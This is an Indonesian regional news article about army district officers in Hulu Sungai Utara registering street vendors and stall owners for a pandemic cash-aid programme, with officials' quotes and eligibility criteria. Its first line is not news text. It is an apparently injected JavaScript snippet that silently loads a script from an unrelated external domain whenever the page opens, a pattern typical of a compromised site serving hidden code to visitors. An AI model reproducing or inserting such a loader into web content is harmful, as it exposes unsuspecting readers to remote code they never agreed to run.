(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Upaya meningkatkan kesejahteraan masyarakat khususnya para Pedagang Kaki Lima (PKL) dan warung, Kodim 1001/HSU-BLG melakukan pendataan pedagang penerima Banpres produktif usaha mikro atau Bantuan Langsung Tunai Pedagang Kaki Lima Dan Warung-TNI (BTPKLW-TNI) di Kabupaten Hulu Sungai Utara (HSU) .
Bantuan tunai PKL dan warung ini diberikan oleh pemerintah kepada mereka yang berhak mendapatkan dan nantinya akan disalurkan melalui TNI-POLRI
“Semoga kedepanya nanti bantuan yang akan diterimakan kepada masyarakat yang sudah kita data bisa dapat tersalurkan semua, dan semoga bisa bermanfaat bagi mereka,” kata Kopda Fratama, Babinsa Koramil 1001-07/Amuntai Tengah, saat melakukan pendataan sejumlah pedagang di kawasan pasar Amuntai, Selasa (19/4/2022).
Terpisah, Dandim 1001/HSU-BLG Letkol Inf Aldin Hadi mengatakan akibat terdampak pandemi, para pedagang kaki lima dan warung mendapatkan perhatian serius dari pemerintah.
Baca juga : Bupati Tanbu Ikuti Acara Peringatan Nuzulul Qur’an
Sehingga untuk memberikan dukungan bagi pelaku usaha khususnya sektor usaha mikro, kecil dan menengah, pemerintah telah meluncurkan program Bantuan Tunai untuk Pedagang Kaki Lima dan Warung (BTPKLW-TNI)
“Kodim 1001 sementara mendapatkan alokasi sebanyak 5.000 penerima di;wilayah Hulu Sungai Utara dengan melibatkan 25 orang Babinsa pendata,” kata Dandim Letkol Inf Aldin Hadi.
Babinsa Sertu Setyo menyebut pendataan program (BTPKLW-TNI) sudah berjalan beberapa hari yang lalu dan terus dilakukan hingga tercapai target yg diharapkan.
“Kegiatan ini merupakan bentuk kepedulian TNI AD terhadap kesulitan modal usaha masyarakat yang terdampak dari pandemi Covid 19 saat ini,” katanya.
Baca juga : Ciptakan Kemandirian Ekonomi, YBM PLN Targetkan 96 Kelompok Usaha Cahaya Terbentuk Tahun Ini
Sedangkan untuk penyaluran bantuan, Kodim 1001/HSU-BLG melaksanakan melalui sistem aplikasi yang mengedepankan prinsip transparansi dan akuntabilitas.
“Kreteria masyarakat yang berhak menerima bantuan antara lain, mempunyai warung atau PKL milik sendiri,emiliki KTP Elektronik, mengisi formulir yang telah tersedia, dokumentasi pemilik warung dan Babinsa di lokasi usaha, hanya yang memenuhi persyaratan yang akan di ajukan sebagai penerima Bantuan ini,” jelasnya
Salah satu PKL, Konal mengaku bersyukur jika bantuan ini dapat dijadikan modal usaha.
(Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.